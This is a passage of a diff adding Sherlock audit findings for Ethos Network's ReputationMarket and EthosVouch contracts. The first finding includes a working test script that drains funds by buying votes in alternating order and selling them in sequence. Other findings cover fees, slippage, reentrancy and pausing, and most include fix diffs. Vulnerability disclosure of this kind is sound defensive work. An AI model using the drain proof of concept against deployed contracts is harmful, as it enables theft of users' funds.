+[ReputationMarket.sol#L920-L923](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L920-L923) +```solidity + /** + * @notice Calculates the buy or sell price for votes based on market state +>> * @dev Uses bonding curve formula: price = (votes * basePrice) / totalVotes + * Markets are double sided, so the price of trust and distrust votes always sum to the base price + * @param market The market state to calculate price for + * @param isPositive Whether to calculate trust (true) or distrust (false) vote price + * @return The calculated vote price + */ + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; +>> return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` + +**Mathematical Explanation** + +$$ +vote Price = \left( \frac{\text{votes}}{\text{votes} + \text{disVotes}} \right) \cdot \text{basePrice} +$$ +$$ +disVote Price = \left( \frac{\text{disVotes}}{\text{votes} + \text{disVotes}} \right) \cdot \text{basePrice} +$$ + +For each increase/decrease operation to either votes/disVotes this results in changing the State of our variables in a non-linear manner, changing votes results in changing the price of both vote and disVote. + +The problem here is that in functions as total we analyze its change (weight change) from an initial state. And this is the case for our vote/disVote, weight (delta change in prices vote/disVote). + +For any non-linear function `f(x)` the change in `f(x)` depends on the rate of change (derivative) at x. + +- `f(x)` is the function `_calcVotePrice()` +- `x` is the total number of votes and disVotes +- The total price we will use for buying a given quantity of votes/disVotes is the rate of change (derivative) of `f(x)` + +Our Function is have two variants dpendent so the rate of change is partial derivative and the changed weight is also partial, for our calculations but this is not the context of issue. In simple words, if we make the total rate of changes of our state for buying as less as possible, and the rate of change of the state when selling as max as possible, this will result in total Change from state (a) to state (b) value is smaller than the total change from state (b) to state (a), and as we explained before that the weight change is the total price paid by the user, this will result for user gaining money when selling more than he gave for buying. + +To make the rate of change as less as possible, we can make an alternative voting method. and to make the rate of change as great as possible, we should make a large change buy selling all votes/disVotes at sequential method. + +So when buying: +- vote disvote vote disvote ... + +When selling: +- vote vote ... disVote disVote ... + +This will make the money gained when selling is greater than the money paid when buying and as this is the contract that holds all money doing this will allow user to drain the contract doing this process again and again till it drain it completely with a profite too (as the money he pay for voting is returned to him with addition). + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +- Buying votes/disVote in alternative method (vote, disVote, vote, disVote, ...) +- Selling votes/disVotes in sequential method (vote, vote, ..., disVote, disVote, ...) + + +### Impact + +Draining All contract Balance + + +### PoC + +1. Add The following test script in `test/reputationMarket/rep.price.test.ts` + +```typescript + /* eslint-disable */ + it.only('AUDITOR TEST: should return more than paid because of non-linear bonding curve', async () => { + // We disallowed all fees, so that we can only pay for the Vote + // We will increase 1 vote, 1 disVote, 1 vote, 1 disVote + const balanceBeforeAttack = await ethers.provider.getBalance(reputationMarket); + + const votePrice1_1 = await reputationMarket.getVotePrice(DEFAULT.profileId, true); + await userA.buyVotes({ buyAmount: votePrice1_1 }); + const disVotePrice2_1 = await reputationMarket.getVotePrice(DEFAULT.profileId, false); + await userA.buyVotes({ buyAmount: disVotePrice2_1, isPositive: false }); + const votePrice2_2 = await reputationMarket.getVotePrice(DEFAULT.profileId, true); + await userA.buyVotes({ buyAmount: votePrice2_2 }); + const disVotePrice3_2 = await reputationMarket.getVotePrice(DEFAULT.profileId, false); + await userA.buyVotes({ buyAmount: disVotePrice3_2, isPositive: false }); + + const totalPaidByUser = votePrice1_1 + disVotePrice2_1 + votePrice2_2 + disVotePrice3_2; + console.log('Money Paid by user:', totalPaidByUser); + + // when selling we will decrease 1 vote, 1 vote, 1 disVote, 1 disVote + const received1 = (await userA.sellVotes({ isPositive: true, sellVotes: 2n })) + .fundsReceived as bigint; + const received2 = (await userA.sellVotes({ isPositive: false, sellVotes: 2n })) + .fundsReceived as bigint; + + const balanceAfterAttack = await ethers.provider.getBalance(reputationMarket); + + const moneyGained = received1 + received2; + console.log('Money Gained by user:', moneyGained); + console.log('Gained - Paid (Profit):', moneyGained - totalPaidByUser); + console.log( + `Profit Percentage:${(((Number(moneyGained) - Number(totalPaidByUser)) / Number(totalPaidByUser)) * 100).toFixed(2)}%`, + ); + // Invariant + expect(balanceBeforeAttack - balanceAfterAttack).to.be.equals(moneyGained - totalPaidByUser); + }); + /* eslint-enable */ +``` + +2. Make All fees equal zero to give correct calculations. Go to `test/vouch/vouch.fees.test.ts` and mark All fees to zero. + +```typescript +13: const entryFee = 0n; +14: const exitFee = 0n; +15: const donationFee = 0n; +16: const vouchIncentives = 0n; +``` + +3. Run tests by going to `ethos/packages/contracts` and run the following command, no need to right the discribtion as we used `only`, just our test should run at this case. +```bash +npm run test:contracts +``` + +4. Output + +```shell +Money Paid by user: 1733333333333333333n +Money Gained by user: 1816666666666666666n +Gained - Paid (Profit): 83333333333333333n +Profit Percentage:4.81% +``` + +- As we can see in the script we make a simple buying process (vote, disVote, vote, disVote). +- When selling them we did (vote, vote, disVote, disVote). + +The money paid by the user is smaller than the money returned to him by `0.0833e18` he made `4.81%` profit using just 2 votes/disVotes buying/selling in different sequences (alternative for buying, sequential for selling). + +In case of 3 vote/disVote the profit will be `8.14%`, and so on. + +This will make users make a dummy market and just do these steps until they drain all the contract + +Since this money is getting + +**Visualization** + +[Google Colabs](https://colab.research.google.com/drive/1zEGQ5FtvdiGRpE63eHDsO90_D8cmoJpB?usp=sharing) + +![bonding curve](https://i.ibb.co/JFp3PtQ/download.png) + +### Mitigation + +The algorithm for Voting and disvoting is implemented using the Bonding Curve, and the problem is as we said mathematically, so This issue will not be mitigated by just doing a single modification. + +But for a mitigation example, you can store the balance paid by users in a mapping for each market when buying and when selling you decrease that balance, and in case it gets decreased to `0` don't send money. diff --git a/484.md b/484.md new file mode 100644 index 0000000..4ee9b0c --- /dev/null +++ b/484.md @@ -0,0 +1,147 @@ +Teeny Oily Chipmunk + +High + +# Fees are charged on the entire funds amount instead of what is used for vote purchase + +### Summary + +When buying votes, the preview fees function will base the fees on the msg.value sent not the actual value used to purchase an actual vote. + +This creates a problem where a user sends 1 eth and the votes cost is 0.6, he will buy 1 vote and 0.4 eth should be refunded. The problem is that the preview fees function will charge fees on the 1 eth instead on the 0.6 eth used to actually buy the vote. This causes excess fees to be applied to the user. + +### Root Cause + +in ReputationMarket.sol ln 442 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442 + +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); +``` +we can observe the buyVotes function and the call to _calculateBuy includes msg.value as the 3rd argument. + +we can observe the _calculateBuy function below. + +```solidity + function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` +we can see that the 3rd arguement which was set to msg.value, is funds. +Going more into the snippet we see that we call previewFees with funds which is msg.value. This means even the funds not used to purchase a vote will be charged a fee. + +The user should not be charged fees on eth that was not used to enter the market. Instead the user should be charged only fees on the amount used up to buy the actual votes. for example if the user sent 1 eth and the vote cost 0.6 eth, you should calculate the fees on the 0.6eth used to buy the vote and subtract this amount from the 0.4 eth. Instead by charging fees on msg.value, the user is paying almost double the amount of fees he should. + +For example the fee calculation should go as follows. +1. user sends 1 eth +2. vote cost is 0.6 eth +3. user buys 1 vote +4. 10% fee is charged on 0.6 eth which equals 0.06 eth fee. +5. user is returned 0.4 - 0.06 eth which is 0.34 eth. + +Instead this is how the fee is currently calculated... +1. user sends 1 eth +2. vote cost is 0.6 eth +3. user is charged 10% fee on 1 eth = 0.1 eth +4. user buys 1 vote for 0.6 eth. +5. user is returned 0.4 - 0.1 eth which is 0.3 eth. + +### Internal pre-conditions + +none + +### External pre-conditions + +none + +### Attack Path + +1. user sends 1 eth +2. vote cost 0.6eth +3. user buys 1 vote +4. user is actually charged fees on the 1 eth sent instead of the 0.6eth used to buy the vote. lets assume fees are at max 10% +5. user is charged 0.1 eth fee. +6. user will be refunded 0.3 eth, if the fee was correct he should be refunded 0.34 eth. This is because 0.6 eth x 10% is 0.06 eth. 0.4 - 0.06 = 0.34 eth that should be refunded if the fee calculation was correct. +7. user will be charged fees on funds that where not used to enter the market. + +### Impact + +A user is charged excess fees on eth that was not used to buy vote. This can result in users paying nearly double the fee amounts. + +### PoC + +_No response_ + +### Mitigation + +first calculate the cost of a vote, then apply the fee on the number of votes bought. + +Since fees will never exceed 10 % set aside 10% of the available funds for a fee buffer. + +assuming that the vote cost is 0.2 eth and the user sends 1 eth. +1. reduce the available funds by 10% and call this value fundsAvailableMinusFeeBuffer for example. The 10% should be called FeeBuffer +2. the fundsAvailableMinusFeeBuffer = 0.9 eth. +3. the user is eligible to buy around 4 votes for approximately 0.8eth. +4. charge 10% fee on 0.8eth = 0.08 eth +5. feeBuffer - 0.08 eth = 0.02 eth set this value to feeBufferMinusFees +6. refund = feeBufferMinusFees + (fundsAvailableMinusFeeBuffer - the funds used to to purchase actual votes) +7. the refund should be around .12 eth +8. send user the refund. + +here we implement a system that allows the users funds to buy as many votes as his funds allow but always ensures there is enough eth to pay the fees even after votes are bought. \ No newline at end of file diff --git a/485.md b/485.md new file mode 100644 index 0000000..656a08b --- /dev/null +++ b/485.md @@ -0,0 +1,98 @@ +Straight Slate Bee + +Medium + +# `ReputationMarket::sellVotes()` has no Slippage Protection + +### Summary + +When selling votes no slippage protection guarantees the user (seller) will receive a satisfactory amount of money when he sells his votes + +### Root Cause + +Buying and selling votes occuar the price for votes and disVotes is determined using both votes and disVotes number. Each buy/ sell process will change the price of buying/selling votes/disVotes. + +When buying Votes There is a slippage check that guarantees the user will buy the number of votes he needs, but in `sellVotes()` there is no check weather the user will gain the amount of money he wants when he sell a given number of votes. This will make users receive money when selling votes less that they need in case there was another transactions for before them. + +[ReputationMarket.sol#L495](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495) +```solidity + function sellVotes( ... ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // calculate the amount of votes to sell and the funds received + ( ... ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + // @audit Missing Slippage Protection + ... + // apply protocol fees + applyFees(protocolFee, 0, profileId); + + // send the proceeds to the seller + _sendEth(fundsReceived); + ... + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +When a given user request to sell votes: +- Another user is selling votes before him +- Another user is buying disVotes before him + +When a given user request to sell disVotes: +- Another user is selling disVotes before him +- Another user is buying votes before him + + +### Attack Path + +_No response_ + +### Impact + +The seller of votes/disVotes will receive money less that he needs. + + +### PoC + +- userA buy a vote with `0.0050e18` +- userB buy a vote with `0.0066e18` +- userC buy a vote with `0.0075e18` +- userA wants to sell his vote (it not worths `0.0075e18` (50% profit) +- userA made the tx +- userB requested for selling before userA (userA didn't know that his tx is in mempool first) +- userB will receive `0.0075e18` +- userA will receive `0.0066e18` (33% profit only) + +### Mitigation + +add a minimum amount to receive parameter and check that the received money is greater than or equals that value. + +```diff +diff --git a/ethos/packages/contracts/contracts/ReputationMarket.sol b/ethos/packages/contracts/contracts/ReputationMarket.sol +index 0a70a10..eefbbb2 100644 +--- a/ethos/packages/contracts/contracts/ReputationMarket.sol ++++ b/ethos/packages/contracts/contracts/ReputationMarket.sol +@@ -495,7 +495,8 @@ contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuard { + function sellVotes( + uint256 profileId, + bool isPositive, +- uint256 amount ++ uint256 amount, ++ uint256 minFundsToReceive + ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + +@@ -509,6 +510,8 @@ contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuard { + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); + ++ require(fundsReceived >= minFundsToReceive, "less than required"); ++ + // update the market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] -= votesSold; +``` diff --git a/486.md b/486.md new file mode 100644 index 0000000..2099f2d --- /dev/null +++ b/486.md @@ -0,0 +1,43 @@ +Quaint Mulberry Mustang + +Medium + +# Maximum total fees can exceed intended 10% in `EthosVouch.sol` + +## Vulnerability Details + +According to the contest readme: +> Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths? + +> For both contracts: + Maximum total fees cannot exceed 10% + +This is the [MAX_TOTAL_FEES](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120) constant defined as 10000 basis points (100%), which is meant to enforce the maximum total fees as 10%. +```js + uint256 public constant MAX_TOTAL_FEES = 10000; +``` +Whenever any fee is updated [checkFeeExceedsMaximum](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1004) function is called to to ensure the total doesn't exceed `MAX_TOTAL_FEES`. +```js +function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` +However, the `MAX_TOTAL_FEES` constant is incorrectly set to 10000 basis points (100%) instead of the intended 10% (1000 basis points). As a result, the system allows the cumulative fees to exceed the intended limit of 10%. + +As this limit was highlighted in the readme itself, we consider __MEDIUM__ severity to be appropriate. + +## Impact +Total fees can be configured as high as 100%, violating the intended limit of 10% + +## Recommendation +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; // 10% +``` + diff --git a/487.md b/487.md new file mode 100644 index 0000000..9228701 --- /dev/null +++ b/487.md @@ -0,0 +1,70 @@ +Straight Slate Bee + +Medium + +# Profile Market can get created with incorrect parameters + +### Summary + +Because of the Swapping mechanism when removing market config, the profile market can get initialized with incorrect parameters. + +### Root Cause + +Users can create their market for their profiles in Ethos, there are different market configs (currently 3), where the Admins can add or remove market configs when they need. + +For the user to create his Market, he puts the index of the market config he wants to create his market with then he calls `ReputationMarket::createMarketWithConfig()`. + +When admins remove a market from the array, they use a swapping mechanism, where when removing an element in the middle, they swap it with the last element them pop the last element. + +[ReputationMarket.sol#L403-L406](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L403-L406) +```solidity + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + // Remove the last element + marketConfigs.pop(); +``` + +So when removing a config lets say at index `2` and we have `5` configs, the config with index `2` will get changed to the config at index `4`. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +- Admins remove a certain config +- User(s) is/are creating a market using the indexed config to get removed by admins + +### Attack Path + +_No response_ + +### Impact + +Ethos Profile Market Will get created with incorrect parameters, rather than the parameters needed by the caller + + +### PoC + +- There are `5` configs +- UserA is creating a market for his profile using index `2` (3rd) +- Admins Planned to remove than config and they fired a tx to remove it, which precedes UserA tx +- Removing for config at index `2` occur successfully, and now at index `2` the Market config params is that was at index `4` +- UserA market was created successfully, with incorrect parameters + +When initializing (creating Profile Market) the money paid for initialization is paid, then this will cause. + +- Paying more money than expected, OR Revert the tx if the initialization money increased and the user puts exactly the money needed (this is fine) + +- different `basePrice` than needed by the user +- different `initialVotes` than needed by the user + +And the problem is that the Market can't get removed/changed once it is created. + +### Mitigation + +When creating a market pass `MarketConfig` parameter and check that the config at this index is the same as the configs requested by the user, so that in case of market parameters changed because of removing, the tx will revert because if misMatch Market Config. \ No newline at end of file diff --git a/488.md b/488.md new file mode 100644 index 0000000..81f42db --- /dev/null +++ b/488.md @@ -0,0 +1,80 @@ +Straight Slate Bee + +Medium + +# `ReputationMarket::withdrawGraduatedMarketFunds()` is subjected to reentrancy + +### Summary + +resetting Market Funds occurs in the last of the execution after sending ether to `GRADUATION_WITHDRAWAL`, and there is no `nonReentrant` modifier either. + + +### Root Cause + +When graduating a given Market, `GRADUATION_WITHDRAWAL` calls `ReputationMarket::graduateMarket()`, then the remaning Funds in the market is getting transfered to `GRADUATION_WITHDRAWAL` when calling `ReputationMarket::withdrawGraduatedMarketFunds()`. + +The problem is that the money of the market (ether) is sent to `GRADUATION_WITHDRAWAL` address before seting market funds to zero, and the function is not implementing reentrancy modifier too, so reentrancy can occuar to rewithdraw the balance again and again, till MarketContract get drained totally. + +[ReputationMarket.sol#L660](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L660) | [ReputationMarket.sol#L675-L677](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675-L677) +```solidity +>>function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + ... + +>> _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profiled]); +>> marketFunds[profileId] = 0; + } + +``` + +As stated in the README: +> Owner is trusted. Admin is trusted. Graduate and Slasher are assumed to be contracts, also deployed and owned by Ethos + +Graduate is a contract with admin Role by Ethos, but the function `withdrawGraduatedMarketFunds()` is not mentioned whether it is an admin-restricted function or not, nor it is mentioned that this issue is known, which makes the issue not known or admin mistake. And the issue is itself real as the contract should impelemtn CEI pattern by resetting value to zero before sending. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Add `nonRentrant` modifier, or reset the value before transfering money. Doing both is the best. + +```diff +diff --git a/ethos/packages/contracts/contracts/ReputationMarket.sol b/ethos/packages/contracts/contracts/ReputationMarket.sol +index 0a70a10..0424c1e 100644 +--- a/ethos/packages/contracts/contracts/ReputationMarket.sol ++++ b/ethos/packages/contracts/contracts/ReputationMarket.sol +@@ -657,7 +657,7 @@ contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuard { + * @dev Only callable by the authorized graduation withdrawal address + * @param profileId The ID of the graduated market to withdraw from + */ +- function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { ++ function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused nonReentrant { + address authorizedAddress = contractAddressManager.getContractAddressForName( + "GRADUATION_WITHDRAWAL" + ); +``` diff --git a/489.md b/489.md new file mode 100644 index 0000000..0973906 --- /dev/null +++ b/489.md @@ -0,0 +1,73 @@ +Straight Slate Bee + +Medium + +# `EthosVouch::increaseVouch()` lacks pausing Check + +### Summary + +Missing to add pausing check modifier when increasing a given vouch + + +### Root Cause + +in `EthosVouch::increaseVouch()` the function is not checking weather the contract is in pausing state or not, allowing increasing vouches when the contract is paused. + +[EthosVouch.sol#L426](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) +```solidity + // @audit `whenNotPaused` modifier is missing + function increaseVouch(uint256 vouchId) public payable nonReentrant { + // ... + } +``` + +By checking the contract state we will see that all functions that result in Modifity Vouchs state or money transferring in/out are restricted with the pausing modifier. This includes: +- new Vouching (money in): `vouchByAddress()`, `vouchByProfileId()`, +- unVouching (money out): `unvouch()`, `unvouchUnhealthy()`, `markUnhealthy()` +- slashing (money out): `slash()` +- Claiming Rewards (money out): `claimRewards()` +- Some Admin Config functions: `setMinimumVouchAmount()`, `updateMaximumVouches()`, `updateUnhealthyResponsePeriod()` + +As we can see all state-changing functions by users are restricted with `whenNotPaused` modifier. But `increaseVouch()` is missing that modifier, which will increase Vouch balance, rewards to Subject ID, rewards to previous vouchers. All this money will be unwithdrawable as all functions to withdraw is restricted with pausing. + + +### Internal pre-conditions + +Contracts Gets paused for maintanance + + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- State Changes to Vouchs when the contract is in a pausing state (should not allow this) + + +### PoC + +_No response_ + +### Mitigation + +Add `whenNotPaused` modifier +```diff +diff --git a/ethos/packages/contracts/contracts/EthosVouch.sol b/ethos/packages/contracts/contracts/EthosVouch.sol +index 711fb74..4c837d8 100644 +--- a/ethos/packages/contracts/contracts/EthosVouch.sol ++++ b/ethos/packages/contracts/contracts/EthosVouch.sol +@@ -423,7 +423,7 @@ contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, Reentrancy + * @custom:throws {AlreadyUnvouched} If the vouch has already been unvouched + * @custom:emits VouchIncreased + */ +- function increaseVouch(uint256 vouchId) public payable nonReentrant { ++ function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); +``` diff --git a/490.md b/490.md new file mode 100644 index 0000000..9ecb345 --- /dev/null +++ b/490.md @@ -0,0 +1,77 @@ +Straight Slate Bee + +Medium + +# Max fees check is `100%` not `10%` in `EthosVouch` + +### Summary + +The restriction for fees is `100%` not `10%` as the invariant is intended to be + + +### Root Cause + +`EthosVouch.MAX_TOTAL_FEES` is set to `10_000`, i.e `100%` which will make changing fees by admin accpets setting total Fees to be more than `10%`, which should not occuar. + +[EthosVouch.sol#L120](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120) | [EthosVouch.sol#L996-L1004](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996-L1004) +```solidity + uint256 public constant MAX_TOTAL_FEES = 10000; + uint256 public constant BASIS_POINT_SCALE = 10000; + ... + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; +>> if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` + +As stated in README: + +> Q: Are there any limitations on values set by admins (or other roles) in the codebase? +> +> For both contracts: +> - Maximum total fees cannot exceed 10% + +The README states that the admin is restricted to set fees greater than `10%` but as `MAX_TOTAL_FEES` equals `BASIS_POINT_SCALE` it will allow admin to set all fees up to `100%`, which should not occur. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +modify `MAX_TOTAL_FEES` to be `1_000` instead of `10_000`. +```diff +diff --git a/ethos/packages/contracts/contracts/EthosVouch.sol b/ethos/packages/contracts/contracts/EthosVouch.sol +index 711fb74..179ae63 100644 +--- a/ethos/packages/contracts/contracts/EthosVouch.sol ++++ b/ethos/packages/contracts/contracts/EthosVouch.sol +@@ -117,7 +117,7 @@ contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, Reentrancy + + // --- Constants --- + uint256 private constant ABSOLUTE_MINIMUM_VOUCH_AMOUNT = 0.0001 ether; +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1_000; + uint256 public constant BASIS_POINT_SCALE = 10000; + uint256 public constant MAX_SLASH_PERCENTAGE = 1000; +``` diff --git a/491.md b/491.md new file mode 100644 index 0000000..2acf671 --- /dev/null +++ b/491.md @@ -0,0 +1,100 @@ +Straight Slate Bee + +Medium + +# The slashing mechanism is Staker Dependent only + +### Summary + +Slashing Mechanism is implemented as: slashing is applied to the staker affecting all his staking in different Staking Pools, not in the Staking Pool itself affecting all the stakers in that Pool. + + +### Root Cause + +In the Slashing mechanism, we slash authors by decreasing all there balance in all vouches for different subjected profiles. We use `vouchIdsByAuthor` to get all profiles vouched by that single author and reduce their balance. + +[EthosVouch.sol#L529](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L529) +```solidity + function slash( ... ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + revert InvalidSlashPercentage(); + } + + uint256 totalSlashed; +>> uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + ... + } +``` + +As stated in Etos Docs [link](https://whitepaper.ethos.network/ethos-mechanisms/vouch#financial-stakes) +> The amount of Ethereum staked represents the magnitude of the trust placed in you. Ethos does not differentiate between one person who vouches for you with 10,000Ξ or 10,000 people who vouch for you with one Ethereum. + +The stake is the magnitude of trust placed in you, vouching for a given profile (subject profile) means people trust this profile and stake money with it. + +Take Lido for example: This process is like people trust Lido, and they deposit money in his contract. + +In Lido, if slashing is to occur, all users' balance gets decreased, and this is the right case, as the Protocol that people trust, and put money in was not good and gets slashed, so all investors gets affected. + +But Ethos contract slashing is not implemented like this, we decrease `authors` themselves regarding how many subject profiles they vouch for and whether they are subjected to slashing or not. + +This state is like Yield Strategy Protocol, where one user can stake in more than one Staking Pool. Now how does slashing occur in Yield Strategy? + +When slashing occurs to a given Pool all users stake in that Pool gets their balance decreases, not by slashing a single user by decreasing his balance in all Pools he stake in. + +So if a subjected profile is subjected to slash, all stakers (users vouches for him and trust him should get punished), not author profile themselves (stakers) gets slashed for all Subject profiles they vouch for (staking pools they staked in) + +In addition, The state in Ethos is actually Mutual, where in Staking users are static parties, and Staking Pools (in Yield Strategy) are the parties that is subjected to punishment (slashing). But in Ethos it is a mutual relation where author profiles trust subjected profiles like staking by vouching for them, and author profiles themselves can be malicious, so Slashing can occuar to Author profiles themselves too in need, but as we stated earlier slashing occuar to Pool. + +So in Breif, Slashing Process should slash a subjected profile by decreasing all stakers (profiles vouchs for him), not slashing an author profile by slashing all his stakes in all Pools (subject profiles). And implementing a mechanism to slash all stakes for a given author profile is also OK, as The state is Mutual in Ethos. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Make the slash function accept a parameter that identifies whether the slashing is to occur for the Staking Pool (Subjected profile) or the Staker himself (Author Profile). + +```diff +diff --git a/ethos/packages/contracts/contracts/EthosVouch.sol b/ethos/packages/contracts/contracts/EthosVouch.sol +index 711fb74..015c810 100644 +--- a/ethos/packages/contracts/contracts/EthosVouch.sol ++++ b/ethos/packages/contracts/contracts/EthosVouch.sol +@@ -519,14 +519,17 @@ contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, Reentrancy + */ + function slash( + uint256 authorProfileId, +- uint256 slashBasisPoints ++ uint256 slashBasisPoints, ++ bool isSubjectProfile + ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + revert InvalidSlashPercentage(); + } + + uint256 totalSlashed; +- uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; ++ uint256[] storage vouchIds = isSubjectProfile ++ ? vouchIdsForSubjectProfileId[isSubjectProfile] ++ : vouchIdsByAuthor[authorProfileId]; + + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; +``` diff --git a/492.md b/492.md new file mode 100644 index 0000000..1019365 --- /dev/null +++ b/492.md @@ -0,0 +1,67 @@ +Straight Slate Bee + +Medium + +# Upgrading Contracts can cause Storage collision + +### Summary + +The contracts are upgradable without using custom storage locations nor a gap, which will make contracts + + +### Root Cause + +The contracts `ReputationMarket` and `EthosVouch` both uses `ReentrancyGuard` which stored the status of the contract entered or not in `slot0` + +[EthosVouch.sol#L67](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L67) | [ReputationMarket.sol#L36](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L36) +```solidity +contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, ReentrancyGuard { + ^^^^^^^^^^^^^^^ +// --------------- + +contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuard { + ^^^^^^^^^^^^^^^ +``` + +And their contract `ReputationMarket` is not having a GAP. + +Not just 